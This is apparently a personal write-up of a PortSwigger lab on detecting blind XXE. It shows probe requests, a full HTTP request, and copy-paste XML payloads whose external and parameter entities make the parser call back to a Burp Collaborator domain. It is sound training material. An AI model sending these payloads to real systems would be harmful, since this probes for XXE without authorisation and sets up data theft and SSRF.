Blind XXE with out-of-band interaction
Blind XXE with out-of-band interaction: The Check stock endpoint parses XML but does not display results. I need to detect blind XXE by triggering out‑of‑band (OOB) interactions (DNS + HTTP) with Burp Collaborator’s default public server, and use that as proof of vulnerability. • PortSwigger • XXE • in-band, out-of-band
🎯 Objective
The Check stock endpoint parses XML but does not display results. I need to detect blind XXE by triggering out‑of‑band (OOB) interactions (DNS + HTTP) with Burp Collaborator’s default public server, and use that as proof of vulnerability.
🧠 Quick refresher: in‑band vs out‑of‑band XXE
In‑band
When I send an XXE payload and the response comes back from the app containing the data I asked for.
Out‑of‑band (OOB)
When I send an XXE payload but the app never reflects the data in its HTTP response. Instead, the XML parser is coerced to make a separate request to a server I control (e.g., Collaborator), and I observe the interaction there.
🧩 What I’m exploiting
- The app accepts XML and parses it (even though it doesn’t render entity output).
- I can define an external entity whose
SYSTEMidentifier points at my Collaborator domain. - When the parser resolves that entity, it performs DNS (and usually HTTP) requests to my domain — this is my signal.
The lab’s firewall requires using Burp Collaborator’s default public server (e.g.,
xxxxxx.burpcollaborator.net).
🔎 Recon & probes (what I tried first)
Probe 1 — general entity reference (blocked / not reflected)
POST /product/stock HTTP/1.1
Host: 0ac40096032e9735c025d64100d7008a.web-security-academy.net
Content-Type: application/xml
...
]> &xsisec; 1Response:
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 20
"Invalid product ID"No reflection of &xsisec;, which is expected in a blind scenario.
Probe 2 — reference to a non-existent entity (parsing proves XML handling)
POST /product/stock HTTP/1.1
Host: 0ac40096032e9735c025d64100d7008a.web-security-academy.net
Content-Type: application/xml
...
]> &does_not_exists; 1Response:
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 19
"XML parsing error"This confirms the XML is parsed (we’re on the right track).
✅ Working approach: external entity → Collaborator callback
Option A — General external entity (simple & preferred)
Define a general external entity and reference it in the XML content. On resolution, the parser performs DNS + HTTP to Collaborator.
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
<!ENTITY xsisec SYSTEM "http://COLLAB-ID.burpcollaborator.net/">
]>
<stockCheck>
<productId>&xsisec;</productId>
<storeId>1</storeId>
</stockCheck>- Replace
COLLAB-ID.burpcollaborator.netwith your actual Collaborator domain. - Keep the trailing
/so you get a clean HTTP request path.
Option B — Parameter entity (if general entities are filtered)
Some labs block general entities. A parameter entity (PE) can still cause OOB interaction without needing in‑band expansion:
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
<!ENTITY % xsisec SYSTEM "http://COLLAB-ID.burpcollaborator.net/">
%xsisec;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>Expanding %xsisec; forces the parser to fetch the external resource, yielding DNS/HTTP interactions in Collaborator.
📤 Full request example
POST /product/stock HTTP/1.1
Host: 0ac40096032e9735c025d64100d7008a.web-security-academy.net
Cookie: session=Nj8vuNTeauf7VMx82wBHpppTIus2OKVq
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0ac40096032e9735c025d64100d7008a.web-security-academy.net/product?productId=2
Content-Type: application/xml
Origin: https://0ac40096032e9735c025d64100d7008a.web-security-academy.net
Connection: close
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
<!ENTITY xsisec SYSTEM "http://COLLAB-ID.burpcollaborator.net/">
]>
<stockCheck>
<productId>&xsisec;</productId>
<storeId>1</storeId>
</stockCheck>🔭 Verifying in Burp Collaborator
Open the Collaborator client and look for:
- DNS interaction: a lookup against
COLLAB-ID.burpcollaborator.net. - HTTP interaction: a request (often
GET /) from the target to Collaborator.
Seeing either (ideally both) confirms blind XXE.
🧪 Troubleshooting
- Only DNS, no HTTP? Some parsers resolve names but don’t fetch; try both
httpandhttps, ensure the URL ends with/, and keep the DOCTYPE minimal. - General entities blocked? Use the parameter entity variant (Option B) which expands during DTD processing.
- Still no callbacks? Verify you’re using Burp’s default public Collaborator domain (the lab blocks arbitrary third‑party servers). Re-send and wait a moment for interactions to appear.
🔒 Prevention (good reference)
Harden XML parsers to disable DTDs and external entities, prefer safe bindings/JSON, and validate content types. Solid language‑specific guidance here:
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
🧾 Copy‑paste payloads
General external entity
<!DOCTYPE stockCheck [
<!ENTITY xsisec SYSTEM "http://COLLAB-ID.burpcollaborator.net/">
]>
<stockCheck><productId>&xsisec;</productId><storeId>1</storeId></stockCheck>Parameter entity fallback
<!DOCTYPE stockCheck [
<!ENTITY % xsisec SYSTEM "http://COLLAB-ID.burpcollaborator.net/">
%xsisec;
]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>Minimal raw body (Option A)
<?xml version="1.0"?>
<!DOCTYPE stockCheck [ <!ENTITY xsisec SYSTEM "http://COLLAB-ID.burpcollaborator.net/"> ]>
<stockCheck><productId>&xsisec;</productId><storeId>1</storeId></stockCheck>These are my notes and exactly how I approached the blind XXE detection lab with Burp Collaborator.